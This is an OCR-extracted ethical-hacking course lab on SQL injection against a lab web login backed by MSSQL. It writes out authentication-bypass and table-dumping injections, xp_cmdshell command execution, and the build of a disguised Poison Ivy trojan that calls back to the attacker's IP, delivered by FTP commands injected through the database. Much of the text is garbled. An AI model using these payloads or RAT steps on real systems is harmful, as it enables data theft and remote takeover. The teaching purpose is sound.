Ethical Hacking Lab Series
Lab 16: SQL Injection

Certified Ethical Hacking Domains:
Hacking Webservers,
Hacking Web Applications,
SQL Injection

Document Version: 2013-07-18 (Beta)

Organization: Moraine Valley Community College
Author: Jesse Varsalone

Copyright © National Information Security, Geospatial Technologies Consortium (NISGTC)

The development of this document is funded by the Department of Labor (DOL) Trade Adjustment Assistance Community College
and Career Training (TAACCCT) Grant No. TC-22525-11-60-A-48; The National Information Security, Geospatial Technologies
Consortium (NISGTC) is an entity of Collin College of Texas, Bellevue College of Washington, Bunker Hill Community College of
Massachusetts, Del Mar College of Texas, Moraine Valley Community College of Illinois, Rio Salado College of Arizona, and Salt Lake
Community College of Utah. This work is licensed under the Creative Commons Attribution 3.0 Unported License. To view a copy of
this license, visit http://creativecommons.org/licenses/by/3.0/ or send a letter to Creative Commons, 444 Castro Street, Suite 900,
Mountain View, California, 94041, USA.

The Center for Systems Security and Information Assurance (CSSIA), in partnership with the Network Development
Group (NDG) is given a perpetual worldwide waiver to distribute per US Law this lab and future derivatives of these
works.

Cseln



Lab 16: SQL Injection

Contents
g N 0T 1U Tl 4 o o PSR 3
Domains: Hacking Webservers, Hacking Web Applications, SQL Injection....................... 3
(oY I ] oY1 Lo -4V PSR 5
1] & BT 1 AoV =3 PSR 6
1 Extracting Information from the Database Using SQL Injection ........cccccccveeeveiiineeenns 7
0 A @ 1 1 =) o TSN 9
00 2 7o T o ol [ o o [P 20
IS R B T {0l U Ry o] o I @ [0 T=T] o] o 1SRNt 20
B oo 1[-Yo T o I KV AV o1 o - T U 21
2.1 Making the Poison Ivy Payload ........cccceiieiiieiiiiiiee e 21
D O] o Vol [V 1Y o] o [P 28
2.3 DiSCUSSION QUESTIONS. ... e e e s s s s e e 28
3 Launch @ Malicious Payload.........ccueiiiriiiiiiiiiiiec ettt 29
3.1 Using the xp_cmd shell to upload and launch a Malicious Payload k ............... 29
G 79 2 o] o Vol 1Y o] o TSP PPR 38
3.3 DiSCUSSION QUESTIONS....cieieeeeeeeeeeeeeeeee e s s e s e e e s s e e e s e s e s e e eees 38
0y (T T o Tol TR PPPPRN 39

7/18/2013 Copyright © 2013 NISGTC Page 2 of 39



Lab 16: SQL Injection

Introduction

This lab is part of a series of lab exercises intended to support courseware for Ethical
Hacker training. The development of this document is funded by the Department of
Labor (DOL) Trade Adjustment Assistance Community College and Career Training
(TAACCCT) Grant No. TC-22525-11-60-A-48.

This lab includes the following tasks:

e 1 - Extracting Information from the Database Using SQL Injection
e 2 —Making the Poison lvy Payload
e 3 —Using the xp_cmd shell to upload and launch a Malicious Payload

Domains: Hacking Webservers, Hacking Web Applications, SQL Injection

Tools like Metasploit give hackers the ability to attack machines on the Internet. To
avoid having security vulnerabilities, many organizations update and patch their
operating systems. In general, vendors have done a more effective job in recent years
keeping operating systems more secure. However, in many cases it is the application
software, not the operating system, which leaves a company vulnerable to attack. If an
SQL backend is attached to an Internet facing web server, an attacker may be able to
gain access to the internal network through SQL injection if the application is unsecure.

SQL - SQL, or Structured Query Language, is a programming language that allows users
to write statements that will allow them to communicate with databases and their
various subcomponents, such as tables, fields, columns, and records. SQL is used in
conjunction with RDBMS, or Relational Database Management Systems. Common
versions of SQL include Microsoft Sequel Server and Oracle’s MYSQL Server.

SQL Injection — This is a technique by which attackers will use code, which includes SQL
commands, to manipulate a web front end into revealing database information.

MSSQL — This is Microsoft’s version of an SQL Server. Versions include Microsoft SQL
2000, 2005, 2008, and 2012. You must purchase MSSQL, except for the Express version.

xp_cmd shell — This is a stored procedure, which will enable the DBA, or Data Base
Administrator, to run operating system commands. Attackers can leverage the xp_cmd
shell if it is available to run commands against an MSSQL Database Server. The xp_cmd
command is vulnerability that affects Microsoft SQL servers (typically older versions).
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Lab 16: SQL Injection

Poison Ivy — Remote Access Trojan that has been used frequently in many high profile
intrusions cases. The tool has a Graphical User Interface, or GUI, that allows the hacker
to perform malicious tasks against a victim machine over an encrypted connection.
Poison Ivy consists of two components, the server and the client.
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Figure 1: ESXi Network Topology
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Lab Settings

The information in the table below will be needed in order to complete the lab. The
task sections below provide details on the use of this information.

Required Virtual Machines and Applications

This lab requires the use of the, Windows 7 and Windows Exchange SQL 2003 VMs.

Although you will not be logging on to the Firewall, the machine is also being utilized
during the lab.

Windows 2003 Exchange SQL 192.168.1.100
Windows 2003 Administrator password P@sswOrd

Windows 7 Professional Attack 216.5.1.200 (Public IP)
Windows 7 Student Password Password
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Lab 16: SQL Injection

1 Extracting Information from the Database Using SQL Injection

One of the attacks that a hacker can perform from the Internet is an SQL injection
attack. If an SQL backend is attached to an Internet facing web server, an attacker may
be able to gain access to the internal network through SQL injection if the application is
unsecure. One of the best ways to secure a SQL backend is by performing a SQL server
side validation as opposed to relying on the less secure SQL client side validation.

Before performing SQL injection, it is important that we understand a few key concepts.
If a web application is connected to a backend SQL database, when the user enters
information (like username and password), those values are put into an SQL statement.

ﬁ Company XYZ Login - Windows Internet Explorer - |I:I|5|

T

(€18 ___.v|£_' hitpefz16.1.1.1) =] || B | # || X | = Bing 2|~

! 1.7 Favorites | 1= & | Suggested Sites = @ | Web Slice Gallery -
|

1 = o
@Cumpany #¥Z Login f"l\ - D = [ M= -~ Page » Safety = Tools - .ﬂv

XYZ Company Login

Username

Pazsword el

| .

|

i

i Cone I_I_I_I_I_IEK;{} Intermet | Protected Mode: OFF | T | B 100% -

Figure 2: A Web Front-End to an SQL Server

In Figure 2, jesse is the username and james is the password entered into the web form.
After the web user submits the request, there input is placed into a SQL statement:

Table Name .
column column end of line

v !

SELECT * from EMPLOYEE, where username="jesse’ and password= ‘james’ --

t t t t

condition ! value
s5elect Statement value

Figure 3: SQL Statement Running on Back End Server
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Lab 16: SQL Injection

SQL injection works by manipulating the values that will be put into the statement.
For example, in this case the attacker enters the value JESSE’ OR 1=1-- for the username.

¥ Company XYZ Login - Mozilla Firefox -0l x|

File Edit ‘ew History Bookmarks Tools  Help

| L Company ¥YZ Login 4+ ~

LT
€ 9| [ 26111 - | [ Goode P

®
XYZ Company Login =

IRl IESSE O 1=1—

Figure 4: Manipulating the Input Fields

Entering this string in the Username field will result in the following SQL statement:

ends the statement

SELECT * from EMPLOYEE, where username="jesse’ or1=1- -

I and password="james’ — I

ﬂ will not be evaluated

Figure 5: Statement based on Manipulated Input

always true

You will have a better understanding of SQL injection after you perform an attack.
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1.1 SQL Injection

1. On Windows 7, open Firefox by clicking the Mozilla Firefox link on the desktop.

-

AR

Mozilla Firefo:

Figure 6: Opening Firefox

2. Goto the Public IP address of XYZ Company by typing this URL in your browser:
http://216.1.1.1

E%) company XYZ Login - Mozilla Firefox — |I:I|l|
Filze | Edit Wiew  History  Bookmarks Tools  Help

| L Campany £¥Z Login | -+ -
€& D | [ 218101 - | |2~ Google 2l ™

XY Z Company Login

Figure 7: Public Facing Website

3. Attempt to perform SQL injection by typing the following in the username box:
JESSE' OR 1=1--
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%) Company XYZ Login - Mozilla Firefox -0 x|

File Edit View History  Bookmarks  Tools  Help

| || Company ¥¥Z Login I = | -

& 9| 26111 - |2~ Google A

XYZ Company Login
TTsematme

Figure 8: An SQL Injection Attempt

You should receive an error. Your attempt at performing SQL injection is unsuccessful.

) Company XYZ Login - Mozilla Firefox E =10} x|
Fde Edt View Higtory Bookmarks Tools Help
Company XYZ Login li

& 216.1.1.1 - |29 i ol o

Your password must be greater than 7 characters

Figure 9: Failed SQL Injection Attempt

You were told if the SQL password field would not be evaluated if the username field
ended with double dashes. The reason that your attempt at SQL injection was
unsuccessful is that your input was validated by your browser’s JavaScript.

To view the JavaScript on the web page, you will need to examine the HTML source.
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4. To view the source, right-click on the page and select View Page Source.

| EY) Company X¥Z Login - Mozilla Firefox — |I:I|l|
Eile Edit Wi Hizskary EBookmarks Tools Help

| L Company =¥Z Login | =+ | -
. [ [ z18.1.1.1 - || |2 - Google 2| ™

EBack
Eorwsard
Reload
Sbop

Beclmerts s Pees XYZ Company Login
Sawve Page As...

Send Link...

Wiew Background Image

== pasewors
jeve Fage Source

view Pags o

Figure 10: Viewing the Source Page

Review the conditions that are required within the JavaScript within the HTML Text file.

EY source of: http://216.1.1.1; - Mozilla Firefox - |I:I|5|
File Edit Wiew Help
N
<head> —
<title>Company XYZ Login</title>

<gcript type="text/javascript™:>

function wvalidate () - -
{ ﬁ JavaScript will

==clocument . myForm
uhatme=x . usernate . wvalue H
passw=x.password.wvalus evaluate InPUt
submitcOE="Trus""
if (unsune. length>20)
{
alert ("Your usernsune must be less Chan 20 characters™)
submitcOE="Fal=se'
H
if [(passw. length<d)
{
alert ("Your password must be greater than 7 characters™)
submitOE="Fal=se" -
Ll I 4

N

Figure 11: Viewing the Source Page

The web application is using JavaScript to check for input validation. This is a form of
client side validation. So, what we will do is disable JavaScript within our browser.
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5. To disable JavaScript, select Tools from the Firefox menu bar and go down to
Options. Click on the Content button. Uncheck Enable JavaScript then click OK.

. _ O] x]
File Edit  Miew  History  Bookmarks Help

| L Compary ¥Y¥Z Login | =+ I -
& | [ 216.1.11 - |29~ coogl Pl A

= : ’ T
J 5 > LN 2

Snic Advanced

General Tahs Content § Applications  Privacy  Securiky

¥ Block pop-up windows Exceptions...

¥ Load images automatically Exreptions...

[~ Enable Jawascript I

Advanced...

Figure 12: Disable JavaScript

6. Attempt to perform SQL injection by typing the following in the username box:
JESSE' OR 1=1- -

You can copy the line above from the sqgl.txt file on the Windows 7 desktop.

¥) Company XYZ Login - Mozilla Firefox

_ (o] x|
File Edit Miew History  Bookmarks Tools  Help

| || Campany =YZ Login I =+ | 5
€« > | 216.1.1.1 - |- Google Pl M.

XYZ Company Login

—

Figure 13: An SQL Injection Attempt

You should receive a message stating, Successful Login to CompanyXYZ Web Site.
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101

File  Edt VYiew History | Bookmarks Took Help

http:f216.1.1.1/ad. .r+1‘fml--&nassword=| + |
= 216.1.1.1 2L B Pl &

Figure 14: Opening Firefox

The likely reason that the name aanderson is being displayed is due to the fact that they
are the first user in the column. Once 1=1 was evaluated as true, you were able to log
in.

7. Click the Back button to return to the 216.1.1.1 home page.

| L]  216.1.1.1}adminlogin, asprusername=jesse'+or+1%%301--&ps -1 | |'"l- Google ):’| S

Figure 15: Returning to the Home Page

8. Clear any input that was in the username box by hitting the Clear button.

£) Company XYZ Login - Mozilla Firefoxr - |EI|5|
File Edit Wiew History Bookmarks Tools  Help

| L Companty x¥Z Lagin | + | v
& D [ 26111 - | |- Goagl Pl A

XYZ Company Login

Password [
| suomt |

Figure 16: Clearing the Input in the Web Form
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Next, we will use a stored procedure to view all of the names and passwords in the
database. The stored procedure is called sp_makewebtask. This stored procedure,
which is only available in Microsoft SQL Server, will produce HTML output.

9. Double-click on the sql.txt file on the Windows 7 desktop.

[ l||_|

Figure 17: The SQL.TXT File

10. Highlight the second line of text in the file. Select edit, then copy from the
menu.

B sal.txt - Notepad
Filz | Edit Format  View Help

jes  Undo Chrl4Z
Cut Chrl+
Paste Chrl+Y
Delete Del
Find... Chrl+F
Find Mext  F3

Replace... Chrl4+H
GoTo.., Ckl+G

Select Al Chrl4+-A
Time/Date FS

I_ ;exec master..sp_makewebtask “cihinetpubhywwwroothusers. ht s sglect ¥ from Users™;

Figure 18: Copying a Line of Text

11. Right-click in the username field and select Paste. Click the submit button.

XYZ Company Login

INESTSYEL . " select > from Users".—

Figure 19: Inputting the Information into the Username Field
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You should see a web page with the response displayed in the figure below:

—10) x|

File  Edit | Wiew Higstory Bookmarks Tools Help

|| httpefiz16.1.1.1jad. . %:22%36--@password= | + | -

@ | || 216.1.1.1 admin/login. asprusername="%2Baxec+master. . sp_ - ("| |"' - Google ):'l -

Figure 20: Inputting the Information into the Username Field

Although you received the following responses from the 216.1.1.1 Web Server:

e Failed Login
e Unknown Username or Bad Password
e Access Is Denied

This does not necessarily mean that your SQL statement did not execute.
Instead, what this means, is that the input you put in the username box of the server
was not a username that is recognized in one of the columns of the database.

12. To see if the injection worked, type the following URL in Firefox:
http://216.1.1.1/users.html
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E?) Microsoft SQL Server Web Assistant - Mozilla Firefox
File Edit Wiew History Bookmarks Tools  Help

| [ | Microsoft SQL Server Web Assistant | 4+

6 ] | [ | 216.1.1.1 users.html
!

Query Results

Last updated: 2013-01-10 15:03:31.623

|'llS ername |pﬂSS“’l]l"d

|aandersnn |sul:uwa3reatfresh

|hbeetle |hurgerking

|rcare5r |disne5rw-:urld

|ccas ington |tulaneswimming

|ddantf ield |m3ripadrules

|Efr|:|me |a:maznnkindle

|ggarr izon |1:|alt imoreravens

lrmiller  [FACERS12Z3

|sper}cins |nurthcarulina

|ateeing |ariznna1

|zgricksu:un |i lovebharack

Figure 21: The Database of Users and Passwords

So, the entire database containing all of the usernames and passwords is displayed.

This could also have been a database of credit cards or social security numbers.

Next, we will inject a username and password into the existing database. By doing this,
we can then log into the database and possibly gain access to resources. Or, we could

create an account in a database that will grant us physical or network access.

13. Click the Back button to return to the 216.1.1.1 home page

| [ 216.1.1.1)adminjlogin, asprusername=jesse'+or+1%301--&ps - E'] l""‘ Google ):"J A

Figure 22: Returning to the Home Page

7/18/2013 Copyright © 2013 NISGTC
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14. Clear any input that was in the username box by hitting the Clear button:

XYZ Company Login

| Subnit [} Clear |

Figure 23: Clearing the Input in the Web Form

15. Highlight the third line in the sql.txt file. Select edit, then Copy from the menu.

' sql.txt - Motepad
File Edit Format Miew Help
jesse’ or 1=1--

rexec master. . sp_makewebhtask "civinetpubwewroo
pinsert 1nto Users walues( jesse , JjameslZ3 1—-

Paste
Delete

Select All

Right to left Reading order
Show Unicode contral charackers
Insert Unicode contral characker  #

Open IME
Reconversian

Figure 24: Copying a Line of Text

16. Right-click in the username field and select Paste. Click the submit button.

XYZ Company Login

Tzername SR e
Lndo

ot
oy

Figure 25: Inputting the Information into the Username Field
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You should see a web page with the response displayed in the figure below:

©2) Mozilla Firefox o Nl I
Eile  Edit | wiew History Bookmarks  Tools  Help

[] http:f/216.1.1. 1jad . %22%3B—&password= | | -
| == [ [ | 21&.1.1.1/adminflogin. asprusername="%3Bexec+master..sp_ T 7 ~ (E'] [-'] - Google ):'] -
M A——— —

Figure 26: Inputting the Information into the Username Field

17. Log on to the Microsoft Windows 2003 Server. Use the PC menu in the NETLAB+
Remote PC Viewer to send a Ctrl-Alt-Del (version 2 viewer), or click the Send
Ctrl-Alt-Del link in the bottom right corner of the viewer window (version 1
viewer. Log on to the 2003 server with the username of Administrator and the
password of P@sswOrd.

Welcome to Windows

/ 7 WindowsSe
. Standard Edition

& Press Ctrl-alt-Delete to begin,

Requiring this key combination at startup helps keep your
computer secure, For more information, click Help,

N  Windows Intemal Server | Windows Server 2003  MSEC POD

Figure 27: Send Ctrl-Alt-Del to the Windows 2003 Server

18. Click on the shortcut to SQL Server Management Studio Express on the desktop.

Figure 28: Opening SQL Server Management

Next, we will log on to the SQL server with the sa, or system administrator, account.
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19. Click the connect button to log on to the Server as the sa account

X

! E‘Ennnect to Server
. My Microsolt
Microsoft iy Windows Server System

- SQL Server 2005

Semer ype: IDataI:uase Engine j

SEMVEr name: j

Authentication; ISE!L Server Authentication j
Logir: ISEI j
e Ixxmmmmmxx

¢ Femember password

Options

Figure 29: Connecting to the Microsoft SQL Server

20. Expand Server, expand Databases, expand System Databases, expand master,

and expand tables. Right-click on dbo.users and select Open Table.

= LB SERMER. (3L Server 3.0,194 - 53)
= [ Databases
= [ 5yskem Databases
Bl [_-.J masker
= [ Tables

[ Svskem Tables
Egdbo, users
[ Mew Table. ..

[ | Modi

® (4 Cpen Table 2

Figure 30: Opening a Table
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Lab 16: SQL Injection

21. View the second to last entries that were injected into the table.

aIEE - dbo.users }/Summar';.f ]
LSEFMANE | passwiord
3 aandersan subwayeatfresh
bbeetle burgerking
e FCarey disneyworld
: ccasingtan kulaneswimming
ddankfield rvipadrules
e efrarme arnazonkindle
e ggarrison baltimoreravens
e rmiller PARCERS1Z3
: sperkins northcarolina
ateesing arizanal
I zvickson ilovebarack.
| jesse jamesizs
*

Figure 31: The User’s Table

We also could have gone to http://216.1.1.1 and tried to log on with the username jesse
and the password of james123. That would have been successful. We also could have

used sp_makewebtask again to determine if jesse was in the list.

1.2 Conclusion

An attacker can use SQL injection to manipulate tables within a database or to reveal
information within that database. A database server is less secure if it relies on client
side validation as opposed to server side validation. When only client side validation is
required, an attacker can disable JavaScript on their browser and insert SQL statements.

1.3 Discussion Questions
1. What does the stored procedure sp_makewebtask do?
2. How do disable JavaScript within Firefox?
3. What s client side validation?
4. What could be done to make an SQL secure more secure?

7/18/2013
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2 Poison Ivy Payload

At this point, we will use the stored procedure xp_cmd shell to attempt to run operating
system commands. If we can run operating system commands, we can use the ftp
command to download a malicious Poison Ivy payload. We can also execute the
payload using the xp_cmd shell and get a connection from the victim machine to the
attacker.

Before creating the malicious Poison Ivy payload, let’s verify that this particular MSSQL
server is vulnerable and will allow us to use the stored procedure xp_cmd shell.
2.1 Making the Poison lvy Payload

1. Highlight the fourth line in the sql.txt file. Select edit, then copy from the menu.

u sql.txt - Notepad

File Edit Format ‘iew Help
jesse’ or 1=1-- ]
jexec master..sp_makewsbtask "chinetpubhwwwroothusers.ohtml", "select
"sdnsert dnto Users wvalues('jesse’, ' jameslz3 ' 1--

exec mastear. . xp S WHOAMI = <5 net publuwwwr oot

IUndo

Cuk
Copy

Figure 32: Copying a Line of Text

2. Go to the Public IP address of XYZ Company by typing this URL in your browser:
http://216.1.1.1

EY Company XYZ Login - Mozilla Firefox — 1= =<1
File Edit Wisw Hisktory Bookmarks Tools Help

| [ company =%z Login L+ -~
€= > | [ =zi16.1.1.1 - | |28~ scodle 2| -

XKVWZ Company Login

Figure 33: Public Facing Website
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3. Paste this line into the Username field:
' exec master..xp_cmdshell 'WHOAMI > c:\inetpub\wwwroot\whoami.txt'--

By pasting the line above into the username field, we are trying to determine:

e Will we have access to the stored procedure xp_cmd shell?
e What level of privilege will we have when we run commands?

The output of the command whoami is redirected to a file called whoami.txt, which
resides in the C:\Inetpub\wwwroot directory. This is the default directory location for

the webroot on a Windows system and it is the only location the hacker can now access.

4. Right-click in the username field and select Paste. Click the submit button.

XYZ Company Login

TTzernarme Moo et ain =1t R S

Zut

Sut CEae>

Figure 34: Inputting the Information into the Username Field

You should see a web page with the response displayed in the figure below:

%4 Mozilla Firefox =10] ]

File Edit | ¥iew History Bookmarks Tools  Help

|| heepeffZ16.1.1 .1 fad. . %22 % 3E6--&password= | + | -

6 | Ll 216.1.1.1fadminflogin.asprusername=""36exec+master, sp_ - C"l |"‘l— Google F] | M

Figure 35: Inputting the Information into the Username Field

5. Click the Back button to return to the 216.1.1.1 home page.

|~_. 216.1.1,1/admin/login, asprusername=jesse'+or+ 19301 --2ps -

Figure 36: Returning to the Home Page

"‘l - Google »p | i
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6. Clear any input that was in the username box by hitting the Clear button:

XYZ Company Login

- |
[ subrmit [ Clear |

Figure 37: Clearing the Input in the Web Form

7. Go to the Public IP address of XYZ Company by typing this URL in your browser:
http://216.1.1.1/whoami.txt

E%) Mozilla Firefox - O] x|
File Edit ‘ew History Bookmarks Tools  Help

| || hetpeffz16.1, 1,1 fwboami, bk | + ~

N INE R BT

,

nt authorityhsystem

Figure 38: Public Facing Website

We can use the stored procedure xp_cmd shell when we perform injection on this SQL
server. It also tells us we will run these commands with SYSTEM privileges. Now that we
know we can run commands, we will create a payload to be uploaded to the server.

8. Open the Malware folder on the Windows 7 Desktop. Right-click on the
P12.3.2.rar file, select 7-zip and select the 4™ choice down Extract to “P12.3.2\.

( )( ;J | .+ Malware - lmll Search|
Organize = | | Open Sharewith = Eurn  Mew folder
N Eavorites Mame = Dake modified Tvpe | Size
B Deskiop | Bruter_1.1.7z 4jzofz012 9119 4M 7 File

& Dowinloads | | parkcomet. 7z 12/23(2012 8147 &AM 7Z File

=| Recent Places
] RAR File

Open e e I
. ) shark_3.rar )

7l Libraries — Cpen archive

% || Wrapper.7z Extract files. ..

J. Documents Share with 4

@' Music - ; CASES SR =

- Reskare previous versions

& Pictures & Extract to "PI2,3,2}" | Mf———

Figure 39: Extracting the file with 7-zip
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9. Double-click on the PI12.3.2 folder and double-click on Poison lvy 2.3.2.exe. Wait
10 seconds, click Don’t show this message in the future and click | Agree.

Terms And Conditions EULA

Poizon lvy 2.3.2 DISCLAIMER

THIS DISCLAIMER REPRESEMTS A COMTRACT BETWEEM YO AMD poizonivy-rat.com. AFTER READIMNG,
ol

WILL BE ASKED TO ACCEPT THIS AGREEMENT AND CONTIMUE TO USE THE SOFTWARE. OR. [F*0U DO
HOT "I5H TO ACCEPT THIS AGREEMEMNT, TO EXIT, IN WHICH CASE YOU WILL NOT BE ABLE TO USE,
INSTALL OR OPERATE THE SOFTWARE. BY USIMNG THIS SOFTWARE %'0OU ACCEPT ALL THE TERMS AND
COMDITIONS OF THIS AGREEMERMT.

Thiz dizclaimer iz a legal agreement between pou [henceforth refered to as “the User''] and poigonivy-rat. com,
regarding the

zoftware application Paizon Py [hencefarth referred to az 'the Saftware'"] which you have downloaded, or otherwize
obtained through ather rezources or media such as CO-ROM s, floppy dizks, or through a network in object code form
or other related services.

By accezzing, downloading, storing, loading, instaling, executing, displaying, copying the Software inta the memony of
a computer or otherwize benefiting from using the functionality of the Software in accordance with the documentation,
you agree to be bound by the terms of this agreement. IF you do not agree to the terms and conditions of thiz
Agreement, poizonivy-rat.com iz unwiling to grant ugage of the Saoftware ta pow. In such event, pou may not Operate
ar uge

the Saftware in any way.

B4 CLICKIMG THE "l AGREE" BUTTON IT IS INTERFPRETED A5 A SY'MBOL OF v'OUR SIGHNATURE AND YOU
ARE THEREBY COMSEMTIMG TO BE BOUMD BY THIS AGREEMENT AMD AGREE THAT IT IS ENFORCEAELE

| Agree | Decline v Dan't shaw thiz in the future

x|

[

Figure 40: The Poison lvy License Agreement

Although it may seem counterintuitive, the Poison lvy client is configured on the
machine that will act as the server and accept client connections. We will be configuring
the Windows 7 VM to be the Poison Ivy Client (or Server, as it might be referred to).

10. From the Poison Ivy Menu bar, click File and select New Client from the list.

File Preferences ‘Window Help

=10 x]

IE-_] Mew Client I *—

i Mew Server

.p Manage Plugins
.+ Manage Motes

Exit

Wersion 2.3.2 [Nr. of Parks: 0 Mr. of Plugins: 0 |Nr, of Connections: 0

Figure 41: Select New Client
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Lab 16: SQL Injection

11.

12.

In the listen on Port box, type 443. Click Start to begin listening on that port.

Poison Ivy - [New Client]

gﬂFiIe Preferences  Window Help

Ligten on Port; (449 =

[~ Prompt for password on new connection

Pazsword: Iadmin [~ Hide Passward
[~ Use Key File

[Lmad Key $ Cancel |

=10l x|
=8l x|

I =l
Yersion 2.3.2 |Nr. of Ports: 0 |Nr. of Plugins: 0 |Nr. of Connections: 0 4
Figure 42: Start the Listener on Port 443
From the Poison lvy Menu bar, click File and select New Server from the list.
Poison Ivy - [Listening on Port: 443 {Connections: 0}] - |I:||5|
Ef| File Preferences Window Help =18 x|
Cc =4 pew Clisnt }ingsl
D ¢ | Con. Type | Computer | Uzer Mame | Ao, Tepe | Qs | CPU | R | ‘Yersion |

p Manage Plugins
. Manage MNotes

Exit

«

Yersion 2.3.2 |Nr. of Parts; 1 |Nr. of Plugins: O |Nr. of Connections; 0

Figure 43: Creating the Poison lvy “Server”

13. From the Profiles screen, click Create Profile. Name the Profile CEH and click OK.

7/18/2013

Poison Ivy
: Profiles

=&
Profiles £, Create Prafile | |
F=
Connestion Prafile Mame:
|CEH

Irstall Ok I Cancel I

Figure 44: Creating a Profile within Poison lvy
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14. In the DNS/Port box, carefully type 216.5.1.200:443:0, and click Next.

Poison Ivy

H Connection [CEH]

rr-
.

Irzkall

=

’

Advanced

Figure 45: The Connection Screen in Poison lvy

15. Check the box that states Start on system startup. Name the HKLM/Run Name
Norton to disguise its presence. Then, click the next arrow to advance.

Poison Ivy

5 |nstall [CEH]

EratTdEm,

Figure 46: The Install Screen in Poison Ivy
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16. At the Advanced Screen, leave all of the default options. Click Next to advance.

Poison Ivy

N (=1

-~ Advanced [CEH]
=2
Profiles Process Mutex: I]!VoqA.M @

I Inject server into the default browser

£

o ol I Persistence
onnection
I Iniect into a running process @
Frocess: Imsnmsgr. e
]
o I Key logger
Install
Format;
= PE
File &lignment [bytez]:  |512 =
Advanced
" Shellcode
¥ Binam
i CAray
B il = Delphi Aray
© Python Aray
e Cancel Meut =
Version 2.3.2 |Nr. of Porks: 1 |Nr. of Plugins: 0 |Nr. of Connections: O >

Figure 47: The Advanced Screen of Poison lvy

17. First click generate. Then click on Computer on the left in the Save as box.
Click on Local Disk (C:), then the inetpub directory, then the ftproot directory.
Name the file iexplore and click Save to save the generated payload.

Savein: | || frproot j '@ ? 3 '
1| Recent ltems b modiied | =] Type |-
-‘Desktnp earch.
ﬁ! Metwork
= Libraries

2 student
«—
o Floppy Digk Drive [4:)

| Local Disk [C:) | =

. Mabware
. NetworkMiner_1-3
steg

dl

File narne: Iie:-tplu:ure j
=

Save az type: IExecutabIes [".exe]

Cancel

I i
[ e |

Figure 48: Generating the Payload
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Lab 16: SQL Injection

First, we tested the Microsoft SQL server to see if we were able to use the stored
procedure xp_cmd shell. It worked and gave us SYSTEM level access when we used it.
The name of the malicious Poison lvy payload is iexplore.exe. This is the name of a real
executable for Windows. However, that executable resides in the C:\Program Files
Internet Explorer directory. We will drop our iexplore.exe file in C:\Windows\system32
After you click OK, Poison Ivy will return to the screen that says it is listening on port
443.

2.2 Conclusion

Poison Ivy is malware that has a server and a client component. The attacker first sets
up the client, which will listen on a port and wait for connections. Attackers on the
Internet cannot directly attack internal machines on an internal network. Rather, they
need them to get users on an internal network with Private IP addresses to launch a
program so they will be able to connect to an External IP address on the Internet.

2.3 Discussion Questions
1. Whatis xp_cmd shell?
2. What needs to be done after the Poison lvy software is initially launched?
3. What is a good name for a Poison lvy payload?
4. What does the command whoami tell you?
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3

Launch a Malicious Payload

In this exercise, we will upload the malicious payload to the victim machine using the
stored procedure xp_cmd shell. We will upload the iexplore.exe file, which is actually a
Poison Ivy payload, by creating an ftp answer file and executing the ftp command. After
uploading the file, we will launch it to get the victim to connect to the attacker.

3.1

7/18/2013

Using the xp_cmd shell to upload and launch a Malicious Payload k

Go to the public IP address of XYZ Company by typing this URL in your browser:
http://216.1.1.1

) Company X¥Z Login - Mozilla Firefox - ||:||1|

File | Edit Wiew History Bookmarks Tools  Help

| L Campanyy %¥Z Lagin + ~

€& > [ [] =614 - c | |2 coode Pl &

XYZ Company Login
Pessword [

Figure 49: Public Facing Website

Highlight the fifth line in the sql.txt file. Select edit, then copy from the menu.

Mmaster. . Xp_Cmdsn 5.1, 200>y Tnetpuniwwwrootydown load. Tat ——

exeC master..xp_cmdsne BCho T whload, txt’ —-
" exec master..xp_cmdshell ‘echo | download. txt' —-
"oexec master..xp_amdshell ‘echo | - wiload, tet ' --
" exec master..xp_cmdshell 'echo ubwwwroothdownload. txt ' —-
' exec master..xp_cmdshell 'echo | Paste wnload. txt' —-

Figure 50: Copying a Line of Text

Copyright © 2013 NISGTC Page 29 of 39


http://216.1.1.1/

Lab 16: SQL Injection

3. Right-click in the username field and select paste. Click the submit button.

XYZ Company Login

Tsername |aa e (na sl [=l=Ts k=

Figure 51: Inputting the Information into the Username Field

You should see a web page with the response displayed in the figure below:

(& Mozilla Firefox =l01x]

File ~Edit | Wiew History Bookmarks Tools  Help

| | httpeffz16.1.1.1)ad.. S22 %3E--spassword= | + o

| I
"'l T Google e | #

(- |._, 216.1.1.1/admin/login, asprusername="4:3Bexec+master, sp_ -

Figure 52: Inputting the Information into the Username Field

4. Click the down arrow to the right of the URL bar and drop down to 216.1.1.1.

?16.1,1.1 fadminlogin.aspiusername="texectmaster. xp_cmdshel+'echa+opent216.5,1, 200c% 34 netpublrmwrootid

| |-

B Company 72 Login

216.1.1.1

Figure 53: Returning to the Home Page
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5. Highlight the sixth line of the sql.txt file. Select edit, then copy from the menu.

exec master..xp_cmdshell

‘echo open 216.5.1.200=c:yinetpubswwwrootsdownToad, txt' ——
exec master..xp_<cmoshne EChio EpssCi i :
gxaC master..xp_cmdshe

exec master..xp_cmdshell
' execC master..xp_cmdshell
' exec master..xp_cmdshel]

‘echo bi

echa B

B wwwrootsdownToad. txt ' ——
nload. txt ' ——

Figure 54: Copying a Line of Text

6. Right-click in the username field and select Paste. Click the Submit button.

QRS o ot download .b-d'—|

Figure 55: Inputting the Information into the Username Field

You should see a web page with the response displayed in the figure below:

Figure 56: Inputting the Information into the Username Field

7. Click the down arrow to the right of the URL bar and drop down to 216.1.1.1.

| 16,11, 1 adminfloginasp?username="texectmasker,

B corpan

«p_cmdshell+echo+opent216.5.1, 200 0% 34 inetpubwmarootid

216.1.1.1

Figure 57: Returning to the Home Page
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8. Highlight the seventh line in sql.txt. Select edit, then Copy from the menu.

exec master..xp_cmdshell 'echo Tt

MASTEr. . X[J_CmMasne

AR

Tnetpulywwwrootsdownload, Txt ' ——

exec master..xp_amdshell 'echo bins=¢

exec master..xp_amdshell “echo Dye::o geermm

exes master..xp_amdshell 'echo open 216.5.1.200=Cvinetpubhvwwwr oot hdownload. Txt ' —-

exec master..xp_cmdshell 'echo get e cut roothodownload, txt ' ——

Figure 58: Copying a Line of Text

9. Right-click in the username field and select Paste. Click the Submit button.

XYZ Company Login

RS e ro ot cown o add .b-d'—|

Figure 59: Inputting the Information into the Username Field

You should see a web page with the response displayed in the figure below:

Figure 60: Inputting the Information into the Username Field

10. Click the down arrow to the right of the URL bar and drop down to 216.1.1.1.

| 16,11, 1 adminflogin,aspfusername='+exec+masker, xp_cmdshell+'echo+open+216.5.1, 200:=C

B Compan

216.1.1.1

Figure 61: Returning to the Home Page
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11. Highlight the eighth line in the sql.txt file. Select edit, then Copy from the menu.

